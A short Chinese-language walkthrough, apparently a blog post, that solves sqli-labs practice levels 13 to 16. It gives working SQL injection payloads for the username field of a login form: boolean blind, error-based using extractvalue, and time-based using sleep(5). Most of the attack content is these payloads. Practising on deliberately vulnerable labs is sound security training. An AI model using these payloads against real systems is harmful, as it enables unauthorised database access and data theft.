sqli-labs-less-13、14、15、16

Less-13

输入username:admin’,密码随意

故
我们输入username:admin’)#,密码随意
只返回登录状态没有登录信息

所有我们可以使用盲注，这边使用布尔类型的盲注
猜数据库第一位

输入username:admin') and left (database(),1)>'a'#

密码随意

然后
用二分法一个个进行尝试就可以猜出数据库了，其他过程查看less-5那篇博客

Less-14

经过一些尝试，输入username:admin"#
密码随意
返回

和第三题一样，但这里不使用布尔注入，使用报错注入（目的是熟悉盲注）

输入：username:admin"and extractvalue(1,concat(0x7e,(select @@version),0x7e))#
//0x7e表示~符号
密码随意

爆用户名

username:admin"and extractvalue(1,concat(0x7e,(select user()),0x7e))#

爆数据库

username:admin"and extractvalue(1,concat(0x7e,(select database()),0x7e))#

Less-15

经过一些尝试,我们输入username:admin’#
密码随意
返回

与13题一样
这里采用延时注入

输入username:admin' and If(ascii(substr(database(),1,1))=115,1,sleep(5))#
密码随意

正确的时候可以直接登录;不正确的时候延时 5 秒,并显示未登录成功

Less-16

方法与Less-15一样

输入username:admin")and If(ascii(substr(database(),1,1))=115,1,sleep(5))#
    密码随意